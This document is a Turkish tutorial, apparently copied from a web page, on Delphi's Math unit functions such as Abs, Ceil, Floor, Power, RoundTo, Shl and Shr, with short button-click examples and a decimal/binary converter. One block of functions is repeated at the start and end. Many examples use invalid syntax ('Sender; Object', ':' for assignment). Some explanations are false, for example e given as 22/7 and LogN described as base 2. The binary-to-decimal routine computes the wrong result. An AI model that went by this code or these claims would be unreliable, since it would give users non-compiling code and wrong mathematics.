Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

Max(ondalıklı_sayı , ondalıklı_sayı2);

 

Parametre olarak girilen ondalıklı (veya tam sayı) sayıların en büyüğünü hesaplayan bir fonksiyondur. Dikkat edeceğiniz husus fonksiyonun sadece iki parametre aldığıdır. Yani elinizdeki üç sayının en büyüğünü bu fonksiyonla hesaplatamazsınız. (Dolaylı olarak olabilir)

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Ilk, Son : Integer;

 

    Sonuc : Real;

 

begin

 

    Ilk : 25;

 

    Son : 5;

 

    Sonuc :=Max(Ilk , Son);   // Büyük olanını bul

 

    Caption:= FloatToStr(sonuc);   // 25 yazar

 

end;

 

 

 

Parametre olarak ondalıklı sayıda kullanabilirsiniz.

 

 

 

 

 

 

 

Min(ondalıklı_sayı , ondalıklı_sayı2);

 

 

 

Parametre olarak girilen ondalıklı (veya tam sayı) sayıların en küçüğünü hesaplayan bir fonksiyondur. Dikkat edeceğiniz husus fonksiyonun sadece iki parametre aldığıdır. Yani elinizdeki üç sayının en büyüğünü bu fonksiyonla hesaplatamazsınız. (Dolaylı olarak olabilir)

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Ilk, Son : Integer;

 

    Sonuc : Real;

 

begin

 

    Ilk : 25;

 

    Son : 5;

 

    Sonuc :=Min(Ilk , Son);   // Küçük olanını bul

 

    Caption:= FloatToStr(sonuc);   // 5 yazar

 

end;

 

 

 

Parametre olarak ondalıklı sayıda kullanabilirsiniz.

 

 

 

 

 

 

 

Mudiv(Tam_Sayı , Tam_Sayı2 , Tam_Sayı3);

 

 

 

İlk iki parametre ile verilen tam sayıları çarpıp, üçüncü parametreye bölen matematiksel bir fonksiyondur. Fonksiyondan geriye dönen değerin tipi tam sayı olduğu için, sonuç ondalıklı olarak çıkarsa aşağı veya yukarı tam sayıya yuvarlama işlemi yapacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Sayi, Adet, Bol, Sonuc : Integer;

 

begin

 

    Sayi : 10;

 

    Adet : 2;

 

    Bol : 3;

 

    Sonuc :=Muldiv(Sayi, Adet, Bol);   // 10*2/3

 

    Caption:= IntToStr(sonuc);   // 7 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer tam sayı tipli olduğu için, tip dönüştürme işlemini IntToStr fonksiyonu ile gerçekleştirebilirsiniz.

 

 

 

 

 

 

 

Pi:

 

 

 

Matematikte kullanılan pi sayısının değerini içerisinde tutabilen bir fonksiyondur. 3.1415926535897932385 sayısına eşit olan bu fonksiyon sayesinde, daireye ait alan ve çevre hesaplamalarını kolaylıkla yaptırabilirsiniz. Fonksiyon ondalıklı bir sayı barındırdığı için FloatToStr fonksiyonu kullanılarak tip dönüşüm işlemleri uygulanmalıdır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    YariCap : Integer;

 

     Cevre, Alan : Double;

 

begin

 

    YariCap : 10;

 

    Cevre : 2 * pi * YariCap; //Çevre = 2 * pi * r

 

    Alan := pi * YariCap * YariCap;

 

    Label1.Caption := 'Daire Alanı : '+ FloatToStr(Alan);

 

    Label2.Caption := 'Dairenin Çevresi'+FloatToStr(Cevre);

 

end;

 

 

 

RESİM

 

 

 

Programı çalıştırıp buton kontrolüne tıklarsanız yukarıdaki pencere ile karşılaşırsınız. Pencerede dairenin alanı ile çevresi hesaplanarak bildirilmektedir.

 

 

 

Poly(Ondalıklı_Sayı , Değişken):

 

 

 

Programınızda polinom fonksiyon sonuçlarını hesaplatmak için kullanılır. Birinci parametre polinom fonksiyondaki değişkenin değeri, ikinci parametre ise polinom fonksiyonda kullanılacak olan kat sayıların değerini tutacak olan dizi değişkenden ibarettir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    KatSayilar : Array of Double;

 

    Değer, Derece, i : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := StrToInt(InputBox('Hangi Değer İçin','Deger',''));

 

    Derece := StrToInt(InputBox('Poinom Kaçıncı Dereceden','Derece',''));

 

    SetLength(KatSayilar , Derece+1); // Boyutla

 

    For I:=Low(KatSayilar) to High(KatSayilar) do

 

    KatSayilar[i]:=StrToInt(InputBox(IntToStr(i)+'.ci Kat Sayıyı Giriniz','KatSayi',''));

 

    Sonuc:=Poly(Deger , KatSayilar); // Polinomu hesapla

 

    Caption := 'Polinomun Sonucu : '+FloatToStr(Sonuc);

 

end;

 

 

 

Fonksiyonu kullanırken dizi değişkeninizi ondalıklı sayı tanımlamaya dikkat ediniz. Programı çalıştırdıktan sonra polinomda kullanılan (y=ax2+bx) x değişkeninin değerini girmeniz istenecektir. Ardından polinom fonksiyonunuzun kaçıncı dereceden olduğunu ve katsayılarını sırası ile (olmayan bir katsayı için sıfır giriniz) girmenizi isteyecektir. Fonksiyondan geriye dönen değer ondalıklı sayı olacağı için sonucu FloatToStr fonksiyonu ile yazdırabilirsiniz.

 

 

 

 

 

 

 

Power(Ondalıklı_Sayı , Ondalıklı_Sayı2):

 

 

 

Üst almak için Delphi' de kullanılan bir fonksiyondur. Birinci parametre ile verilen ondalıklı sayının, ikinci parametreyle verilen kuvvetini hesaplar.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Taban, Us : Double;

 

    Sonuc : Extended;

 

begin

 

    Taban := 4;

 

    Ust := 3;

 

    Sonuc := Power(Taban , Ust); // Üst al

 

    Caption := FloatToStr(Sonuc);  // 4 * 4 * 4 = 64 yazar

 

end;

 

 

 

Taban ve üst değerleri ondalıklı sayıda olabilir. (yani 2.4' ün 5.2' ci kuvvetini de hesaplayabilir) Fonksiyondan geriye dönen değer ondalıklı sayı olduğu için sonucu yazdırmak için FloatToStr fonksiyonunu kullanabilirsiniz.

 

 

 

 

 

 

 

Round(Ondalıklı_Sayı):

 

 

 

Parametre ile girilen reel sayıyı ondalıklı kısımdaki değere göre, bir üst veya bir alt tam sayıya yuvarlamak için kullanılan bir fonksiyondur. Ondalıklı kısımdaki ilk rakam 5 veya daha büyük ise üstte, daha küçük ise altta yuvarlanacaktır. Fonksiyondan geriye dönen değer tam sayı tipli olacağı için, kontrol içerisinde yazdırmak için IntToStr fonksiyonunu kullanmanız yeterli olacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Extended;

 

begin

 

    Deger := 1001.465;

 

    Sonuc := RoundTo(Deger , -2); // Ondalıklı kısımdan 2 rakam

 

    Caption := FloatToStr(Sonuc);  // 1001.47 yazar

 

end;

 

 

 

Eğer ikinci parametre pozitif sayı ise :      Bu durumdan tam kısmın en sonundan başlayarak, ikinci parametreyle belirtilen değer kadar 0 eklenir. Sonuçta yine üstte veya altta yuvarlatma işlemi uygulanacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Extended;

 

begin

 

    Deger := 1591.465;

 

    Sonuc := RoundTo(Deger , 3); // Ondalıklı kısımdan 2 rakam

 

    Caption := FloatToStr(Sonuc);  // 2000 yazar

 

end;

 

 

 

Başka bir Örnek

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Extended;

 

begin

 

    Deger := 1491.465;

 

    Sonuc := RoundTo(Deger , 3); // Ondalıklı kısımdan 2 rakam

 

    Caption := FloatToStr(Sonuc);  // 1000 yazar

 

end;

 

 

 

Üstte ki örnekte sağdan üç rakamı 0 yapınız, aynı zamanda en son 0 yapılan rakam 5 den büyük ise bir üstte, küçük ise bir altta yuvarla denilmek istenmektedir. Biraz değişik gelebilir, ama yeterince örnek çözerseniz mantığına alışacaksınız sanırım.

 

 

 

 

 

 

 

Sign(ondalıklı_sayı);

 

 

 

Parametreye girilen değerin pozitif, sıfır veya negatif olduğunu gösterebilen bir fonksiyondur. Eğer sayı sıfırdan küçük ise -1 büyük ise +1 sıfıra eşit ise 0 değerini döndürecektir.

 

 

 

Sign fonksiyonundan geriye dönen değer 0, 1, -1 rakamlarından bir tanesi olacaktır. Sayının çok büyük veya küçük olması bu durumu değiştirmemektedir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Ilk  : Double;

 

    Sonuc : Integer;

 

begin

 

    Ilk := StrToFloat(Edit1.Text);

 

    Sonuc := Sign(Ilk);

 

    Caption:= FloatToStr(sonuc);

 

end;

 

 

 

Yazılan kodlamada açıklanacak bir şey olmadığı (her şey açık zaten) için açıklama satırlarına gerek görülmemiştir.

 

 

 

 

 

 

 

SimpleRoundTo(ondalıklı_sayı , Tam_Sayı);

 

 

 

Çalışma mantığı daha önce izah edilen RoundTo fonksiyonuna çok benzemektedir. Aralarında ki tek fark SimpleRoundTo fonksiyonunda yuvarlatma işlemi uygulanmayacağıdır. Aşağıda ki sonuçları yapacağınız örnek ile kıyaslayınız.

 

 

 

SipleRoundTo(1254.6543,1) - - > 2000

 

SipleRoundTo(1254.6543,-2) - - > 1254.65

 

SipleRoundTo(1254.6543,-3) - - > 1254.653

 

 

 

 

 

 

 

Sqr(ondalıklı_sayı);

 

 

 

Parametre girilen sayının karesini hesaplayabilen bir Delphi fonksiyonudur. Tam sayılar için kullanılabileceği gibi ondalıklı sayılar için sonucu hesaplayabilmektedir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Sonuc, Sayi  : Double;

 

begin

 

    Sayi := 100.2;

 

    Sonuc := Sqr(Sayi);

 

    Caption:= FloatToStr(sonuc);  // 10040.04 yazar

 

end;

 

 

 

Şayet kullanılan parametrenin tipi tam sayı ise bu durumda sonucu daha hızlı hesaplayacaktır.

 

 

 

 

 

 

 

Sqrt(ondalıklı_sayı);

 

 

 

Parametre girilen sayının ondalıklı sayının karekökünü hesaplayan bir fonksiyondur. Parametrenin tam sayı veya ondalıklı sayı olması önem arz etmemektedir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Sonuc, Sayi  : Double;

 

begin

 

    Sayi := 100;

 

    Sonuc := Sqrt(Sayi); // Karekökünü hesapla

 

    Caption:= FloatToStr(sonuc);  // 10 yazar

 

end;

 

 

 

Bu fonksiyon geriye ondalıklı sayı döneceği için sonucu yazdırmak için FloatToStr fonksiyonunu kullanmalısınız.

 

 

 

 

 

 

 

Inc(Tam_Sayı , Tam_Sayı2);

 

 

 

Bu bir fonksiyon değil (prosedür), ama burada vermeyi uygun gördüm. Method birinci parametre ile girilen değişkenin (tam sayı olmak zorundadır) artıracaktır. İkinci parametrenin opsiyonel olduğunu belirtmek isterim, şayet verilmezse artım değeri 1 olarak alınacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    deger := 99;

 

    Inc(deger); // Değişkenin değerini bir artır

 

    Caption:= IntToStr(deger);  // 100 yazar

 

end;

 

 

 

Başka bir örnek ile yapalım.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    deger := 99;

 

    Inc(deger,11); // Değişkenin değerini onbir artır

 

    Caption:= IntToStr(deger);  // 110 yazar

 

end;

 

 

 

Inc metoduyla ondalıklı sayı kullanamazsınız. Eğer kullanmaya kalkarsanız Delphi sizi hata mesajı ile uyaracaktır.

 

 

 

 

 

 

 

Dec(Tam_Sayı , Tam_Sayı2);

 

 

 

Method birinci parametre ile girilen değişkenin (tam sayı olmak zorundadır) değerini ikinci parametre kadar (ikinci değişkende tam sayı olmak zorundadır) azaltacaktır. İkinci parametrenin opsiyonel olduğunu belirtmek isterim, şayet verilmezse azalma değeri 1 olarak alınacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    Deger := 100;

 

    Dec(Deger,1); // Değişkenin değerini bir azalt

 

    Caption:= IntToStr(Deger);  // 99 yazar

 

end;

 

 

 

Başka bir örnek.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

begin

 

    Deger := 110;

 

    Dec(Deger,11); // Değişkenin değerini onbir azalt

 

    Caption:= IntToStr(Deger);  // 99 yazar

 

end;

 

 

 

Dec prosedürü de sadece tam sayı değerler için kullanıldığından ondalıklı sayılar için denerseniz programınız kırılacaktır.

 

 

 

 

 

 

 

Div :

 

 

 

Bu da bir fonksiyon olmamakla beraber bu kısımda bulunmasında fayda görmekteyim. Matematiksel bölme işleminde tam bölüm değerini veren bir komuttur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Integer;

 

begin

 

    Deger := 19;

 

    Sonuc := Deger div 4; // 4 kaç kere var

 

    Caption:= IntToStr(Sonuc);  // tam olarak 4 kere var

 

end;

 

 

 

 

 

 

 

Mod :

 

 

 

Daha önce izah edilmişti, fakat bu bölümde bulunmasında fayda görüyorum.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger, Sonuc : Integer;

 

begin

 

    Deger := 19;

 

    Sonuc := Deger mod 4; // kalan ne

 

    Caption:= IntToStr(Sonuc);  // 3 yazar

 

end;

 

 

 

 

 

 

 

Shl :

 

 

 

Değişken değerlerinin iki sayısı veya kuvvetleriyle kolayca işlem yapılabilmesini sağlayan komuttur. (C++ bilenler için >> ve <<) Yaptığı işleme gelince; solunda belirtilen sayıyla, sağında belirtilen sayıyı ikinin kuvveti olarak kabul ederek çarpar.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := 10;

 

    Sonuc := Deger Shl 3; // 2^3*10=80

 

    Caption:= FloatToStr(Sonuc);  // 80 yazar

 

end;

 

 

 

Shl komutunun yaptığı  işlem şudur. a:=10 shl 3 satırı a:=10*2üzeri3 ile aynı işi yapacaktır. Yani sağdaki sayıyı 2 nin üsttü olarak alacak solundaki sayıyla çarpacaktır. (C++ da 3 bit sola ötele)

 

 

 

 

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := 20;

 

    Sonuc := Deger Shl 5; // 2^5*20=640

 

    Caption:= FloatToStr(Sonuc);  // 640 yazar

 

end;

 

 

 

 

 

 

 

Shr :

 

 

 

Değişken değerlerinin iki sayısı veya kuvvetleriyle kolayca işlem yapılabilmesini sağlayan diğer bir komuttur. (C++ bileşenleri için >> ve <<) Yaptığı işleme gelince; solunda belirtilen sayıyla, sağında belirtilen sayıyı ikinin kuvveti olarak kabul ederek böler. Belirtilen üst değeri kadar bit sağa öteleme yapar da denilebilir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Deger : Integer;

 

    Sonuc : Extended;

 

begin

 

    Deger := 20;

 

    Sonuc := Deger Shr 2; // 20/2^2=5

 

    Caption:= FloatToStr(Sonuc);  // 5 yazar

 

end;

 

 

 

sonuc:=deger shr 2 satırı sonuc:=deger/(2^2) ile aynı sonucu verecektir. Yani sağında ki sayıyı ikinin kuvveti olarak kabul edecek, solunda ki sayıya bölecektir.

 

 

 

Şimdi ikilik Windows hesap makinesinde yer alan onluk düzenden ikilik düzene dönüştürme, ikilik düzenden onluk düzene dönüştürme kodlarını beraberce oluşturalım. Öncelik ile aşağıdaki tasarımı oluşturalım.

 

 

 

RESİM

 

 

 

Programı oluşturabilmeniz için formunuza bir adet Edit kontrolünü, iki adet RadioButton kontrolü ve bir adet GroupBox yerleştirin. Amacımız programı çalıştırdıktan sonra seçmiş olduğumuz satır düzenine göre, yeni değerin Edit kutusunda yer almasını sağlamak olucaktır.

 

 

 

Kodları RadioButton kontrolünden OnClick yordamlarına yazacağız. Form açıldığı anda Dec isimli RadioButton kontrolünün işaretli gelmesi içinde FormCreate yordamına ufak bir kod satırı ekleyeceğiz. Kod satırları içerisinde math kütüphanesinde yer alan fonksiyonlardan (length) kullanacağımız için uses satırına math'ı eklemeyi unutmayınız.

 

 

 

procedure TForm2.FormCreate(Sender: TObject);

 

begin

 

      RadioButton1.Checked := True;

 

end;

 

 

 

procedure TForm2.RadioButton2Click(Sender: TObject);

 

var

 

      Deger : Integer;

 

      Kalan : Integer;

 

      Sonuc : AnsiString;

 

begin

 

      Kalan := StrToIntDef(Edit1.Text,0);

 

      repeat

 

      if Kalan Mod 2=0 then

 

      Sonuc := '0'+Sonuc

 

      else

 

      Sonuc := '1'+Sonuc;

 

      Kalan := Kalan div 2; //Bölüm değerini ata

 

      Until Kalan<1;

 

      Edit1.Text := Sonuc;

 

end;

 

 

 

procedure TForm2.RadioButton1Click(Sender: TObject);

 

var

 

      Sayi, Adet, I : Integer;

 

      Deger, Ekle   : Integer;

 

      Sonuc         : AnsiString;

 

begin

 

      Sayi  := StrToIntDef(Edit1.Text,0);

 

      Adet  := Length(Edit1.Text);

 

      Deger := 0;

 

      For I:=Adet DownTo 1 Do

 

      begin

 

            Ekle  := StrToIntDef(Copy(Edit1.Text,Adet-i+1,1),0);

 

            Deger := Deger+Ekle;

 

      end;

 

      Edit1.Text := IntToStr(Deger);

 

end;

 

 

 

Şimdi programı çalıştırıp Edit kutusuna sayısal bir değer girin. Ardından Bin seçeneğini seçerek kodlarınızın sonuçlarını görebilirsiniz.

 

 

 

Şimdi Bin seçeneğine tıklarsanız Edit kontrolündeki değeriniz aşağıdaki şekilde olucaktır.

 

 

 

Hakikaten sonuçları Windows hesap makinesinde kontrol ettirirseniz, aynı olduklarını göreceksiniz.

 

Delphi - .....................................

 

Tüm Math Kodları

ALINTIDIR  

                                                                                06.01.2006            

     

Matematik Fonksiyonları

     

 

 

 

Delphi içerisinde, kolay uygulama geliştirme amaçlı kullanabileceğiniz bir çok method ve özellik bulunmaktadır. Bu methodlar sizleri yazmanız gereken bir çok sıkıcı koddan kurtarmaya yönelik olarak eklenmiştir. Şimdi Delphi kütüphanesinde yer olan bu fonksiyonları teker teker incelemeye başlayalım.

 

 

 

Aritmetik işlem yapabilmek için kütüphaneye eklenmiş, fonksiyonlardır. Matematik fonksiyonları kullanırken ondalıklı sayıların, tam sayıları kapsadığı (digit kaybı olmadığı için) unutulmamalıdır. Bu fonksiyonları çalıştırabilmeniz için math kütüphanesini uses satırına eklemeniz gerekmektedir.

 

 

 

Uses

 

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Math;

 

 

 

 

 

Abs(ondalıklı_sayı);

 

 

 

Parametre olarak girilen (parantez içerisindeki değer parametre olarak adlandırılmaktadır) reel sayının pozitif değerini hesaplamak için kullanılır. Parametre pozitif ise sayının değerini değiştirmeyecektir. Eğer negatif ise o zaman pozitif değerini geriye döndürecektir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=StrToFloat(Edit1.Text);

 

    Sonuc :=Abs(sayi);  // Pozitife çevir.

 

    Caption:= FloatToStr(sonuc);

 

end;

 

 

 

Fonksiyona gönderilen parametre tam sayı veya reel sayı tipli olabilir. Aynı mantıkla geriye döndürdüğü sayının tipi de yine tam sayı veya ondalıklı sayı olabilcektir.

 

 

 

 

 

 

 

 

 

Ceil(ondalıklı_sayı);

 

 

 

Parametre olarak girilen bir üst tam sayıya yuvarlatarak geriye döndürür. Dönen sayının tipi tam sayı olduğu için IntToStr tip dönüştürme fonksiyonu sayesinde kolayca yazdırılabilir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=125.2;

 

    Sonuc :=Ceil(sayi);  // Ondalıklı sayıyı üste yuvarla.

 

    Caption:= IntToStr(sonuc);  // 126 yazar

 

end;

 

 

 

Aşağıda ki şekilde de kullanılabilir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=StrToFloat(Edit1.Text);

 

    Sonuc :=Ceil(sayi);  // Editteki değeri bir üst tam sayıya yuvarla

 

    Caption:= IntToStr(sonuc);

 

end;

 

 

 

Ceil fonksiyonu, sayıda yer alan ondalıklı kıma bakmadan bir üst tam sayıya yuvarlamak için kullanılır.

 

 

 

 

 

 

 

Floor(ondalıklı_sayı);

 

 

 

Bu fonksiyon  ceil fonksiyonunun yaptığı işlevin tam tersini yapar. Yani parametre olarak girilen ondalıklı sayıyı, virgülden sonraki kısmın büyüklüğüne bakmadan bir alt tam sayıya yuvarlayacaktır. Sayının negatif veya pozitif olması önem arz etmez. Her zaman bir alt tam sayıya yuvarlama yapacaktır. ( -2.8' i -3 olarak döndürecektir )

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=125.9;

 

    Sonuc :=Floor(sayi);  // Bir alt ta sayıya indir.

 

    Caption:= IntToStr(sonuc);  // 125 yazar

 

end;

 

 

 

Negatif tam sayılara örnek yapacak olursak :

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=-125.1;

 

    Sonuc :=Floor(sayi);

 

    Caption:= IntToStr(sonuc);  // -126 yazar

 

end;

 

 

 

Floor fonksiyonu, sayıda yer alan ondalıklı kısma bakmadan bir alt tam sayıya yuvarlamak için kullanılır.

 

 

 

 

 

 

 

Trunc(ondalıklı_sayı);

 

 

 

Parametre olarak girilen ondalıklı sayının tam kısmını döndüren matematiksel bir fonksiyondur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Integer;

 

begin

 

    Sayi  :=125.9;

 

    Sonuc :=Trunc(sayi);  // Sadece tam kısmını göster

 

    Caption:= IntToStr(sonuc);   // 125 yazar

 

end;

 

 

 

Trunc fonksiyonunda herhangi bir yuvarlatma söz konusu değildir. Negatif sayılar içinde kolaylıkla kullanılabilir. (-125.9' u -125 olarak hesaplar) Geriye dönen değerin tipinin tam sayı olduğunu fonksiyon tanımlamasından kolayca çıkarabilirsiniz.

 

 

 

 

 

 

 

Frac(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değerin ondalıklı kısmını hesaplayan bir fonksiyondur. Tanımlamaya dikkat edecek olursanız. Geriye dönen değerin tipinin ondalıklı bir sayı (extended) olduğunu görürsünüz.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Extended;

 

begin

 

    Sayi  :=125.756;  // İsterseniz bir kontrolden değer aktarabilirsiniz

 

    Sonuc :=Frac(sayi);  // Ondalıklı kısmı al

 

    Caption:= FloatToStr(sonuc);   // 0.756 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı bir sayı tipi olduğu için FloatToStr fonksiyonu ile kolayca değerini yazdırabilirsiniz.

 

 

 

 

 

 

 

Exp(ondalıklı_sayı);

 

 

 

Parametre olarak girilen sayıyı "e" ( 22/7 ) nin üssü olarak kabul eder ve kuvvetini alır. (Şayet 2 girilirse e sayısının karesi alınır)

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Integer;

 

    Sonuc : Extended;

 

begin

 

    Sayi  :=2;

 

    Sonuc :=Exp(sayi);  // e nin karesini bul

 

    Caption:= FloatToStr(sonuc);   // 7.389 yazar

 

end;

 

 

 

 

 

 

 

Int(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değerin tam kısmını reel sayı olarak döndüren bir fonksiyondur. Sonucu herhangi bir kontrolde yazdırmak için FloatToStr tip dönüştürme fonksiyonunu kullanmalısınız. IntToStr tip dönüştürme fonksiyonu hata verecektir.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=-120.85;  // Değeri kontrolden de aldırabilirsiniz.

 

    Sonuc :=Int(sayi);  // Tam kısmını al

 

    Caption:= FloatToStr(sonuc);   // -120 yazar

 

end;

 

 

 

Tekrar hatırlatmakta yarar görüyorum, bu fonksiyondan geriye dönen sayının tipi ondalıklı sayı tipidir. Bu yüzden yazdırmak için FloatToStr fonksiyonundan faydalanmalısınız.

 

 

 

 

 

 

 

IntPower(ondalıklı_sayı , tam_sayı);

 

 

 

Birinci parametre olarak girilen ondalıklı sayının, ikinci parametre ile girilen kuvvetini hesaplatmak için kullanılır. İkinci parametre olarak sadece tam sayı değeri girebilirsiniz.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Extended;

 

begin

 

    Sayi  :=5.2;

 

    Sonuc :=IntPower(sayi , 2);  // e nin karesini bul

 

    Caption:= FloatToStr(sonuc);   // 27.04 yazar

 

end;

 

 

 

IntPower fonksiyonundan geriye dönen sayının tipi ondalıklı olmaktadır. Bu yüzden kontrol üzerinde yazdırabilmek için FloatToStr fonksiyonundan faydalanmalısınız.

 

 

 

 

 

 

 

Ln(ondalıklı_sayı);

 

 

 

Parametre olarak girilen ondalıklı (ondalıklı sayılar tam sayıları kapsarlar, unutmayın) sayının e tabanında logaritmasını almak için kullanılır. Fonksiyondan geriye yine bir ondalıklı sayı döner.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=10;

 

    Sonuc :=Ln(sayi);  // Logesayi demektir.

 

    Caption:= FloatToStr(sonuc);   // 2.302 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

Log10(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değişkenin 10 tabanına göre logaritmasını almak için kullanılır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=100;

 

    Sonuc :=Log10(sayi);

 

    Caption:= FloatToStr(sonuc);   // 2 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

Log2(ondalıklı_sayı);

 

 

 

Parametre olarak girilen değişkenin 2 tabanında logaritmasını hesaplayan bir fonksiyondur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=8;

 

    Sonuc :=Log2(sayi);   //Log28

 

    Caption:= FloatToStr(sonuc);   // 3 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

LogN(ondalıklı_sayı , ondalıklı_sayı2);

 

 

 

Parametre olarak girilen değişkenin 2 tabanında logaritmasını hesaplayan bir fonksiyondur.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    sayi  : Real;

 

    Sonuc : Real;

 

begin

 

    Sayi  :=9;

 

    Sonuc :=LogN(3,sayi);   //Log39

 

    Caption:= FloatToStr(sonuc);   // 2 yazar

 

end;

 

 

 

Fonksiyondan geriye dönen değer ondalıklı sayı tipli olduğu için FloatToStr fonksiyonu kullanılarak yazdırılabilir.

 

 

 

 

 

 

 

Max(ondalıklı_sayı , ondalıklı_sayı2);

 

Parametre olarak girilen ondalıklı (veya tam sayı) sayıların en büyüğünü hesaplayan bir fonksiyondur. Dikkat edeceğiniz husus fonksiyonun sadece iki parametre aldığıdır. Yani elinizdeki üç sayının en büyüğünü bu fonksiyonla hesaplatamazsınız. (Dolaylı olarak olabilir)

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Ilk, Son : Integer;

 

    Sonuc : Real;

 

begin

 

    Ilk : 25;

 

    Son : 5;

 

    Sonuc :=Max(Ilk , Son);   // Büyük olanını bul

 

    Caption:= FloatToStr(sonuc);   // 25 yazar

 

end;

 

 

 

Parametre olarak ondalıklı sayıda kullanabilirsiniz.

 

 

 

 

 

 

 

Min(ondalıklı_sayı , ondalıklı_sayı2);

 

 

 

Parametre olarak girilen ondalıklı (veya tam sayı) sayıların en küçüğünü hesaplayan bir fonksiyondur. Dikkat edeceğiniz husus fonksiyonun sadece iki parametre aldığıdır. Yani elinizdeki üç sayının en büyüğünü bu fonksiyonla hesaplatamazsınız. (Dolaylı olarak olabilir)

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Ilk, Son : Integer;

 

    Sonuc : Real;

 

begin

 

    Ilk : 25;

 

    Son : 5;

 

    Sonuc :=Min(Ilk , Son);   // Küçük olanını bul

 

    Caption:= FloatToStr(sonuc);   // 5 yazar

 

end;

 

 

 

Parametre olarak ondalıklı sayıda kullanabilirsiniz.

 

 

 

 

 

 

 

Mudiv(Tam_Sayı , Tam_Sayı2 , Tam_Sayı3);

 

 

 

İlk iki parametre ile verilen tam sayıları çarpıp, üçüncü parametreye bölen matematiksel bir fonksiyondur. Fonksiyondan geriye dönen değerin tipi tam sayı olduğu için, sonuç ondalıklı olarak çıkarsa aşağı veya yukarı tam sayıya yuvarlama işlemi yapacaktır.

 

 

 

Procedure TForm1.Button1Click(Sender; Object);

 

var

 

    Sayi, Adet, Bol, Sonuc : Integer;

 

begin

 

    Sayi : 10;

 

    Adet : 2;

 

    Bol : 3;

 

    Sonuc :=Muldiv(Sayi, Adet, Bol);   // 10*2/3

 

    Caption:= IntToStr(sonuc);   // 7 yazar

 

end;

 

 

 

